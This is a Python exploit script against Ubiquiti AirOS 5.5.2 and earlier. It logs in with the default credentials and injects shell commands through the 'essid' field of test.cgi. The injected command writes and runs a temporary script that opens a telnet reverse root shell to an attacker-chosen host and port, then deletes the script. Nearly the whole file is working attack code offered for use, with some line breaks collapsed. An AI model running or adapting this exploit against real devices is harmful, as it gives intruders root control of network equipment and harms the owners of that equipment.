#!/usr/bin/python#+--------------------------------------------------------------------------------------------------------------------------------+# Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution# Date: 12-28-2012# Author: xistence (xistence<[AT]>0x90.nl)# Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin# Vendor site : http://www.ubnt.com/# Version : 5.5.2 and lower# Tested on : PicoStation M2 (hardware)## Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating# system commands. The parameter input field can be like this to create a file /tmp/test.txt:# "LINKTEST & /bin/touch /tmp/test.txt #"# Authentication to the web site is necessary to exploit this vulnerability. #+--------------------------------------------------------------------------------------------------------------------------------+import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time
print""print"[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28"print""if(len(sys.argv)!=4):print"[*] Usage: "+ sys.argv[0]+" <rhost> <lhost> <lport>"print""
exit(0)
rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
webUser ="ubnt"
webPass ="ubnt"# Create a random file with 8 characters
filename =''for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".sh"
shellCmd ='& echo "mknod /tmp/backpipe p ; telnet '+ lhost +' '+ lport +' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/'+ filename +'" > /tmp/'+ filename +' ; chmod +x /tmp/'+ filename +' ; /bin/sh /tmp/'+ filename +' #'classMultiPartForm(object):"""Accumulate the data to be used when posting a form."""def__init__(self):
self.form_fields =[]
self.files =[]
self.boundary = mimetools.choose_boundary()returndefget_content_type(self):return'multipart/form-data; boundary=%s'% self.boundary
defadd_field(self, name, value):"""Add a simple field to the form data."""
self.form_fields.append(( name, value ))returndef__str__(self):"""Return a string representing the form data, including attached files."""# Build a list of lists, each containing "lines" of the# request.Each part is separated by a boundary string.# Once the list is built, return a string where each# line is separated by '\r\n'.
parts =[]
part_boundary ='--'+ self.boundary
# Add the form fields
parts.extend([ part_boundary,'Content-Disposition: form-data; name="%s"'% name,'',
value,]for name, value in self.form_fields
)# Flatten the list and add closing boundary marker,# then return CR+LF separated data
flattened =list( itertools.chain(*parts))
flattened.append('--'+ self.boundary +'--')
flattened.append('')return'\r\n'.join( flattened )# Create the form with simple fields
form = MultiPartForm()
form.add_field('uri','')
form.add_field('username', webUser )
form.add_field('password', webPass )
form2 = MultiPartForm()
form2.add_field('essid','LINKTEST '+ shellCmd )
form2.add_field('channel','2412')
form2.add_field('rssithresh','13')
form2.add_field('file_url','')
form2.add_field('action','test')# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ))# Just open the default url to grab the cookies and put them in the jarprint"[+] Opening default page [http://%s] to store cookies"% rhost
resp = opener.open("http://%s"%rhost )# Create our multi-part body + headers login POST requestprint"[+] Logging in with user [%s] and password [%s] at host [%s]"%( webUser, webPass, rhost )
resp = urllib2.Request("http://%s/login.cgi"% rhost )
body =str( form )
resp.add_header('Content-type', form.get_content_type())
resp.add_header('Content-length',len( body ))
resp.add_data( body )
request = opener.open( resp ).read()# Create our multi-part body + headers command execution POST requestprint"[+] Executing reverse shell commands [file = /tmp/"+ filename +"], this might take up to a minute before a response is received in your netcat shell"
resp = urllib2.Request("http://%s/test.cgi"% rhost )
body =str( form2 )
resp.add_header('Content-type', form2.get_content_type())
resp.add_header('Content-length',len( body ))
resp.add_data( body )
request = opener.open( resp ).read()
time.sleep(30)print"[+] Done, check your netcat reverse shell on ip [%s] port [%s]"%( lhost, lport )